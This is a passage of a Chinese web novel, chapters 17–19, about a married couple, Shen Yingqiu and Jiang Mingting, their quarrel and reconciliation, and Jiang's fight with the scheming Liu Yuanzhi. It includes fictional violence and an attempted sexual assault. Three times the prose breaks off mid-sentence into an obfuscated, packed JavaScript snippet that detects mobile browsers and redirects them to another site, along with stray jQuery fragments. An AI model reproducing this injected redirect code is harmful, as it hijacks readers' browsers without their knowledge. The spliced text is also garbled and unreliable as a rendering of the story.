一回到自己的院子,走进卧室,沈映秋就扑到了床上。
从战斗状态脱离出来的那一刻,她整个人就垮了下来,累得一根手指也不想动。
翻个身,怔怔地盯着帐顶,想起江明亭,她对他的感情顿时变得复杂起来。
那天,发现他将自己的首饰偷拿走送给柳长盈时,她是极端的愤怒伤心,那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290419|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻她甚至想要跟他和离。
她让江明亭闭嘴,实际上也是避免跟他吵起来,免得自己会说出什么后悔的话来。
后面差点被刘远志侵-犯,她想和离的念头立马打消了。
一旦跟江明亭和离,那她就不再是郡守府的二夫人,刘远志这个刺史家的公子想要把她弄到手,还不是轻而易举的事?
只是不和离,却不代表她能很快原谅他。
一想到江明亭将她心爱的鲛人泪拿去送给别的女人,她就如鲠在喉。
偏偏今日得知,江明亭竟然不是婆母亲生的。
订婚后,有一次两人约会,他得知她的鞋子是她娘亲手给她做的后,对她说了这么一句话:“我娘从来没给我做过衣裳鞋袜,只给我大哥做。”
“是吗?那以后你的衣裳鞋袜由我承包了。”沈映秋给他画了个大饼。
她穿过来之后,为了更好地融入这个时代,当然也学过针黹(音同止)刺绣这些技能,不过她的兴趣不在这上面,也没有什么天赋,所以只学了个皮毛。
绣个帕子做个荷包就顶天了。
让她亲手给江明亭做衣裳鞋袜,那是绝对不可能的,不过她也没骗他说要亲手给他做呀。
她是打算让自家绣娘给他做。
如果他误会了,那也是他理解错了。
当时的她是毫无心理负担的,因为她觉得江明亭可能是故意在对她卖惨博可怜。
他堂堂一个郡守家的公子,还是理应更受宠爱的小儿子,郡守夫人怎么可能只给他大哥做衣裳,而不给他做?
如今得知真相,她觉得他当时说的估计是真的。
郡守夫人,也就是她婆母,没把老公出轨生下的儿子掐死,还让他好好地长大成人就已经不错了,还给他亲手做衣裳?
她婆母就不是那么大度的性子。
然而这对江明亭来说又是何其不公呢?
他并不知道他和大哥是同父不同母,只以为娘亲不喜欢自己。
“我要是惹了我娘不高兴,她就会把我关进柴房里,柴房里没有窗户,到了晚上里头黑漆漆的,我吓得都不敢动。长大后,我睡觉时总要留一盏灯,不然就睡不着。”
“有一次大哥得了夫子夸奖,娘抱着他亲了他好几下,说我儿真厉害,我也想让娘抱一抱我,于是更努力地读书练字,但是当我拿着得了夫子夸奖的文章给娘看时,她却只是淡淡地瞥了一眼,让我别事事都跟大哥比,我是永远也比不过大哥的……”
这是成亲后江明亭告诉她的,当时她听得眼泪都下来了,抱着他亲了好几下,亲他的眼睛,亲他的脸,亲他的下巴……
把他感动得不行,抱着她不撒手。
想到这些,沈映秋忍不住笑了出来,笑着笑着又落寞下来。
一面觉得江明亭真可恶,一面又觉得他怪可怜的。
啊啊啊烦死了!
沈映秋忽的坐起来,对着枕头锤了好几下。
“秋娘。”
江明亭躲在多宝阁后,探出一颗脑袋,小心翼翼地朝她唤了声。
沈映秋目光朝他射去,盯着他看了半晌。
算了,看在他那张脸的份上,还是再给他一次机会吧。
18. 第18章
“该死!该死!全都该死!”
宋铮皎端着一碗药掀帘而入,就看见刘远志在里头发疯,拼命撕扯着一本书。
一片书页飘落到她脚边,她低头一看,上面赫然写着“鸳鸯”二字。
原来是这本书,看见他自己和另一个男人的龌龊之事被公之于众,难怪他气得发疯了。
宋铮皎明知故问:“夫君这是怎么了?谁惹你生这么大的气?”
刘远志将手里没撕完的书页照着她的脸甩过去,“这本该死的话本是不是已经在城里传遍了?你之前怎么不告诉我?!”
宋铮皎偏过头,躲过飞来的话本攻击,“什么话本子?”
对外她经营的可是才女人设,看的向来是高雅有内涵的书,从来不看话本子这种无聊的东西,怎么可能知道《鸳鸯记》这种低俗淫-荡的话本?
刘远志将信将疑,“你不知道就算了。”
宋铮皎也便真的不再过问了,柔声道:“夫君,该喝药了。”
刘远志看见药,就想到了自己的伤处,想到伤处,就想起了自己被摧残蹂-躏的那一晚,再次如同火山爆发,扬手就打翻了她递过来的药碗。
“我没病,喝什么药!拿走!以后也别让我看见它!”
披上外袍,腰带也没系,敞着胸口大喇喇地冲了出去。
“夫人,你的裙子溅到药汁了。”丫鬟青杏担忧上前,蹲下身为她擦拭了起来。
宋铮皎退后两步,“不必擦了,待会儿我换一身就是了。我叫你送去的药,南溪可喝了?”
青杏:“喝了,夫人。”
宋铮皎:“那就好,以后让她继续喝,这样才能养好身子,来日一举得男。”
她已经将南溪开脸了,放在了刘远志房里,许诺等她怀上了,就升她为姨娘。
南溪羞答答地应了,说全凭她做主。
宋铮皎原本想着,无论如何都要生个儿子,等儿子生下来了她便好生教导,等儿子将来读书科举,出将入相,她便算是真正有了依靠。
至于刘远志如何,那根本不重要。
但如今刘远志跟男人搅和到了一起,她怎么想怎么觉得恶心,实在是没法再跟他同床共枕了。
既如此,那就只好叫别的女人来替她生一个儿子了,到时孩子一生下来她便抱过来,从小养在身边,记在自己名下,也是一样的。
而为她生儿子的人选,除了南溪,还有比她更合适的吗?
*
鎏金孔雀烛台上,一条条烛火安静燃烧着,照得室内亮如白昼。
柳长盈坐在妆台前,对镜画眉,镜中映出来一张花颜玉媚的脸来。
突然,房门“砰”的一声开了。
柳长盈一惊,眉画歪了一笔,眉笔差点戳到眼睛里去。
她峨眉轻蹙,转头看去,“刘公子怎么来了?”
声音妩媚婉转,微微带着沙哑,听在耳里,令人身骨酥麻,不似责问,反倒像是撒娇。
可惜此刻的刘远志怒火冲顶,直接无视了她的话,气势汹汹地闯进来,“那幕后之人查到没?”
柳长盈转过身去,将画歪的那一笔细细擦去,重新画了起来,对着镜中的他道:“才过去两日,哪有那么快?我只查到了那晚将公子买下的人,已经送去公子的别院,等候你的处置了。”
刘远志很是不满,“对着我爹你也敢这么说话?你是不是不把我放在眼里?本公子让你做事是看得起你,结果你竟如此无用,查了两天还没查到幕后之人!”
柳长盈:“我哪里敢不把公子放在眼里呢?实在是时日太短,还请公子容我三日,到时一定给公子一个满意的啊——”
刘远志忽的上前,一把抓住她的头发,迫得她扬起脑袋。
柳长盈痛得叫出了声,“交代”二字没能说出口。
“柳长盈,本公子在跟你说话,你一直背对着我描眉画眼的,打扮得这么骚,今晚是打算见哪个入幕之宾呢,嗯?”
他掐着她的脸,语气咄咄逼人。
柳长盈眼底涌现出一丝羞辱,“还请公子放开我,要是脸上留下了淤痕,叫刺史大人看到了就不好了。”
言外之意,她今晚要见的人,正是他的父亲,刺史大人。
刘远志猛地将她一推,“贱人!敢拿我爹威胁我?”
柳长盈摔倒在地,疼得倒吸口凉气,手撑在地上缓缓起身,看着他笑了。
“贱人?呵呵,公子说的对,我的确是贱籍之人,比不得公子高贵,可像公子这样高贵的人,怎么也做出跟男人苟且的下贱之举呢?”
“啪!”
被戳到痛处的刘远志,狠狠甩了一巴掌过去。
柳长盈被打得扑倒在地,嘴角流出了鲜血,半边脸肿了起来,耳朵里嗡嗡作响,像是有一只蜜蜂飞了进去在里头没头没脑地乱撞。
“阿盈——”刘刺史来了,快步走过来将柳长盈扶抱起来,看见她嘴角的鲜血,他瞳孔骤缩,转头就给了刘远志一巴掌。
这一巴掌打得又快又重,刘远志半晌才反应过来自己被打了,捂着被打疼的半边脸,难以置信地看着父亲——
他已经扶着柳长盈坐了下来,正在轻柔地给她擦拭脸上的伤处,看都没看他一眼。
“爹,你打我?你竟然为了一个贱人打我?”
比起愤怒伤心,他更多的是崩溃。
刘刺史:“阿盈再如何下贱,那也是我的人,容不得你动她。”
刘远志气笑了,“好,好,好,真是好极了,爹,你可真是让儿子我刮目相看。”
转身甩袖而去。
坐进马车里,刘远志朝着马车壁狠狠捶了一拳,“为了个妓-女,竟连亲生儿子都打……”
他伸出大拇指揩去眼角滑下的泪水,眼中的伤痛转为了狠辣,冷声吩咐:“去别院。”
他要让那个胆敢动他的死胖子,生、不、如、死。
*
“什么?刘远志他竟然——”
听秋娘讲了她生气离开后发生的事,江明亭怒火攻心,一拳捶在厚重的圆桌上。
要是刘远志这会儿在面前,他非得照着他的脸来上一拳,不,百八十拳不可!
怒过之后,他又升起了一阵后怕,上前紧紧抱着秋娘,一下一下拍抚着她的背。
“不怕了不怕了,有我在呢。”
秋娘当时该有多害怕啊,想想他都恨不得锤死自己。
江明亭无比自责悔恨:“秋娘,都是我的错,要不是我擅自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311219|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将你的耳坠拿去给柳姑娘,你也不会生我的气,丢下我离开,后面的事也不会发生了……”
难怪那天秋娘那么晚才回来,难怪她看起来身心俱疲的样子,都是因为他害得她遭遇了那种事。
沈映秋有些喘不过气来:“你抱得我太紧了。”
江明亭忙松开了些许,却仍旧没有放开她,将脑袋深深埋进了她的脖颈处,只觉无颜面对她。
沈映秋察觉肩头的衣裳湿了,反应过来他竟然哭了。
知道他是误会了,忙道:“他没有得手,就在他要对我行不轨之事时,有一个……蒙面人出现了,将刘远志打晕了过去,救了我。”
江明亭抬起头来,泪眼婆娑地望着她,哽咽着:“真,真的吗?”
沈映秋:“我骗你作甚。”
江明亭喜出望外,抱着她转起了圈,“太好了!”
沈映秋忙抱住他的脖子免得掉下去,看他笑得跟个孩子似的,也不由受到了感染,露出了笑容。
然笑着笑着,她表情蓦地一收,揪住了江明亭的一只耳朵,“江明亭,你老实告诉我,要是我真的被刘远志玷-污了,你会嫌弃我吗?”
江明亭将她放下来,“秋娘你这是说的什么话!我怎么会嫌弃你?我只会觉得心疼内疚悔恨,恨自己没能保护好你……”
他的表情像是恨不得剖心自证一样。
沈映秋嘴角翘了翘,“好吧,我勉强相信你了。不过——”
江明亭才放下的心又瞬间提了起来,“不过什么?”
沈映秋走到落地的大花瓶前,将鸡毛掸子抽出来,示威般在手心里敲了敲,“你自己说,这次你错在了哪儿?”
江明亭没有立刻回答她的话,而是在屋子里四处找了起来。
沈映秋问:“你找什么呢?”
江明亭:“找上次用过的搓衣板啊,我觉得还是跪在上面说话比较好。”
沈映秋:你可真是上道啊。
忽如其来的糖衣炮弹,整得她都有点不会了。
她正了正脸色,下巴朝放着搓衣板的柜子一指。
江明亭麻利将搓衣板找出来,掀起衣袍下摆,在她面前端端正正跪好,表情端正严肃得像是在金銮殿上应考。
沈映秋脸上的笑容有点难绷,忙以袖掩面遮了遮,清了清嗓子,“说吧。”
江明亭:“我错在:一、不该同情心泛滥,柳姑娘的耳坠掉了要受罚,跟我有什么关系?
“二、我不该未经秋娘你的允许,拿走你的耳坠,送给柳姑娘。
“三、我不该……”
他一连忏悔了好几条。
沈映秋心里暗自点头,江明亭能认识到自己的错误,还是可以的,不是那么无可救药。
说完后,江明亭眼巴巴地望着她。
沈映秋:“都说完了?没有了?”
江明亭眨了眨眼,应该还有吗?
他脑子拼命转动,可实在是想不到了。
沈映秋叹了口气,江明亭最大的优点就是富有同情心,且从不会把人往坏处想。
也正是基于这一点,当初她才能靠着种种套路俘获他的心。
可如今,他的这个优点,却成了时不时就背刺她一把的利剑。
19. 第19章
“你还错在,轻信于人。
“你有没有想过,为何你在回家的路上那么巧地遇见柳长盈了?为何她的耳坠偏偏掉了一只?为何她遗失财物受到的惩罚,和你小时候被关柴房的经历那么像?
“为何她掉落的耳坠款式恰好和我的鲛人泪一模一样?为何在我们游湖当日,她那么巧地出现了?”
江明亭被她一连串的问话弄得怔住了,“难道,这一切都不是巧合?而是她刻意为之?”
他并不蠢,只是容易相信别人,如今被她点出来,他自然就能想明白其中的关窍。
沈映秋:“很显然,这一切都是她故意为之。
“让我不解的是,她是怎么知道那些事的?你小时候被关柴房,我的鲛人泪的款式……这些都是只有身边人才知道的,她根据这些信息,布下了一个专门针对我们两人的局。”
根据既得利益者原则,难道这一切的背后主使者,是裴松卿?!
他不仅获得了她的感激,还从她这里拿到了一千两黄金!
这笔钱即便对她而言,也不是一个小数目。
不过这里面有个问题,裴松卿是指使不了宋铮皎的贴身婢女南溪的。
所以最大的嫌疑人还是刘远志。
如果裴松卿没有及时出现,那她这会儿已经惨遭他的毒手了。
“明亭,以后你要离刘远志远一些,我怀疑他根本不像表面上那样简单。”
沈映秋将江明亭扶起来,对他殷殷叮嘱道。
江明亭很是听劝:“嗯,我记住了。”
翌日,沈映秋睡到巳时(9点)方才醒,昨晚跟江明亭经过了一番彻夜长谈,两人和好后,闹得有点晚。
江明亭去书院前,到床边来亲了亲她,当时她睡得正酣,迷迷糊糊回了他一个吻,就又继续睡去了。
她在被子底下咕涌了会儿,伸了个懒腰,这才坐起身。
床头矮柜上放着一封信,她拿过来一看,信封上写着“保证书”三个字。
沈映秋失笑,江明亭居然无师自通写这玩意儿了,她倒要看看他在信里给她保证了什么。
“秋娘,卿卿吾妻,我在此向你保证,一,以后绝不再与别的女子有所沾染,也绝不让别的女子靠近我一丈以内,只对你一心一意。
“二,以后出门在外,我绝不让你离开我的视线,会寸步不离地跟着你,保护你,不让你受到一丝一毫的伤害。”
“三,自今日起我要好生读书,争取将来科举入仕,为你请封诰命。”
沈映秋嗔道:“花言巧语。”
嘴上如此说,手却捧着信笺舍不得放下,又重新看了好几遍。
“哼,以后你要是做不到,我就把你的耳朵揪下来。”
“夫人,宋夫人来了。”金婵进来道。
沈映秋忙把手里的信往枕头底下一塞,刚藏好,宋铮皎就进来了。
“还没起呢,昨晚闹得太晚了吧?”
宋铮皎打趣她。
沈映秋拉着她在床边坐下,往她怀里一拱,“你要来怎么也不提前跟我说一声,我好扫榻相迎啊。”
宋铮皎在她腰间拧了下,“别赖在床上了,快起来吧,我有事跟你说。”
*
江明亭今日穿了一身蓝色的新袍子,到了书院,特意到刘远志面前晃了晃。
还问他:“刘兄,你看我今日这身衣裳如何?”
刘远志歪靠在椅子上,手里拿着一根没蘸墨水的毛笔无聊地转动着,看着一副纨绔样儿,没个正形。
闻言眼中闪过一抹诧异,江明亭对他的态度竟还一如从前,难道说,沈映秋没把那天酒楼里的事告诉他?
是了,这种事她瞒着还来不及,又怎么会主动告诉江明亭这个丈夫呢?
那不是等着被他怀疑嫌弃吗?
想到此,刘远志玩味一笑,将江明亭上下打量一遍,赞道:“不错,衬得你愈发英姿勃发,芝兰玉树了。”
江明亭爱惜地抚了抚袖子,一副炫耀的口吻:“这是我夫人亲手为我缝制的。”
这当然不可能,他撒了谎。
他故意这么说,就是想看看刘远志的反应。
刘远志转笔的动作一顿,脸上闪过一丝嫉妒,“是吗?没想到令夫人还有这等手艺,明亭你可真是好福气啊。”
江明亭满脸笑容:“我也这么觉得。”
转身之际,他脸上的笑容就落了下来,刘远志竟当真对秋娘心怀不轨!
正常人看到秋娘为他做的衣裳,只会感到羡慕,又怎会生出嫉妒呢?
中午书院有一个时辰的休息+吃饭时间,书院有食堂可提供午饭。
但像刘远志这样的纨绔子弟,锦衣玉食惯了的,素来嫌弃食堂的饭菜不好吃,所以要么让家中下人送饭来,要么出去吃。
以往都是刘远志喊上江明亭,邀他一块儿出去吃,今日江明亭却是主动说要请客,“我想请教刘兄一件事。”
刘远志心下狐疑:“明亭啊,你又不是不知道,论学问我可比你差远了,我能指教你什么?”
江明亭脸色泛红:“是关于怎么讨好女人的。”
刘远志:“哦,原来如此,走吧,哥今天跟你好好唠唠,在这方面我可是高手。”
他冲江明亭促狭一笑,勾着他的肩往外走。
两人来到书院附近的酒楼,点了一桌酒菜。
江明亭执起酒壶,给刘远志倒了杯酒,给自己也满上,端起酒杯,“刘兄,我敬你一杯。”
仰头将杯中酒一饮而尽。
刘远志眼神微动,以往江明亭这小子可是很少饮酒的,说什么不爱喝酒,让他喝酒跟要了他命似的,今儿怎么变得这么痛快了?
事出反常必要妖,他借着袖子的遮掩,将杯中酒倒进了袖中的手帕里。
几杯酒下肚,江明亭显露出了醉意,“刘兄,我跟你说,女人真是麻烦,我不就是把她的耳坠拿去,送,呃,送给了柳姑娘嘛,我夫人就跟我闹,她有那么多副耳坠,戴都戴不过来,少一副又有什么要紧?怎么就偏偏揪着这事儿不放呢。
“可,可她是我的夫人,她一直不搭理我,还不让我碰,这算怎么个事儿嘛,刘兄,你教教我,要怎么样才能哄得她开心?”
他给刘远志的酒杯满上,睁着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335652|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一双朦胧的醉眼期盼地望着他。
刘远志喝了酒,满口向他保证:“这简单,你就这样……”
说完,他也醉了过去,趴在了桌上。
而方才醉眼朦胧的江明亭,却忽然清醒了过来,一双眼睛无比清明地看着醉过去的刘远志。
其实他根本就没醉。
桌上的酒壶是阴阳壶,内里一分为二,一半烈酒,一半清水,倒酒时轻轻转动壶盖,就能控制倒出来的是酒还是清水。
他方才给刘远志倒的都是酒,而给自己倒的则是清水。
为了灌醉刘远志,他特意给他准备了极容易醉的扶头酒。
“刘兄?刘兄——”
江明亭唤了两声。
“不就是个小小的秀才吗?只要我想考,还有考不中的?”
“嘿嘿,美人儿,别跑嘛,快到哥哥怀里来,哥哥让你快活……”
听着刘远志嘴里咕噜出的醉话,江明亭便知他是真的醉了,但又没醉到不省人事的地步。
这正是他想要的。
“刘远志,那天在酒楼,你都对沈映秋做了什么?”
刘远志眯缝着眼睛望向远处,脸上现出了回味的神情。
“对她做了什么?你是不知道,她的身段有多勾人,我一层一层剥去她的衣裳,像剥荔枝一样,她那身皮肉,比荔枝还要白嫩晶莹,光是看着我就渴得不行了。
“一开始她还挣扎不休,骂我踢我,可等……之后,她反倒缠着我不放了,粉面含春地躺在我身下,勾着我的脖子喊我刘郎,那副浪荡样儿,真让我恨不得死在她身上——”
“你放屁!满口胡言!”
江明亭再也听不下去了,眼睛发红,像一头愤怒的野兽,朝着刘远志面门狠狠砸了一拳。
刘远志当即就鼻血狂流了。
江明亭这小子竟然敢打他?
这下子他哪里还顾得上装醉?蹭的站起来,反击了回去。
两人在包间里扭打成了一团。
刘远志常年沉迷于酒色,身体即便没被掏空,也强健不到哪儿去。
而江明亭却是年富力强,又处于盛怒之下,打起来跟不要命似的,刘远志哪里是他的对手?
身上一连挨了好多下,最后还被江明亭骑在身上揍。
刘远志又恨又怕,他怀疑江明亭真的会把自己打死在这里,那样他就死得太窝囊了。
他也顾不得丢脸了,逮着机会冲门外大喊:“来人啊!”
自从发生了小倌馆事件后,刘远志就给自己配备了足足八个随从护卫,走哪儿带哪儿,绝不再给别人机会。
听见他的喊声,门外的八个护卫立时闯了进来,将江明亭从刘远志身上拉开。
又忙将刘远志从地上扶起来,“公子,您没事吧?”
刘远志怒吼:“你们看我像是没事的样子吗?!打,给我狠狠地打!”
几个护卫你看看我我看看你,都不敢朝江明亭动手。
江明亭可是郡守公子,他们哪里敢动他?
刘远志气得撸起袖子,“都不敢动手是吧?老子亲自来,你们把他给我摁住!”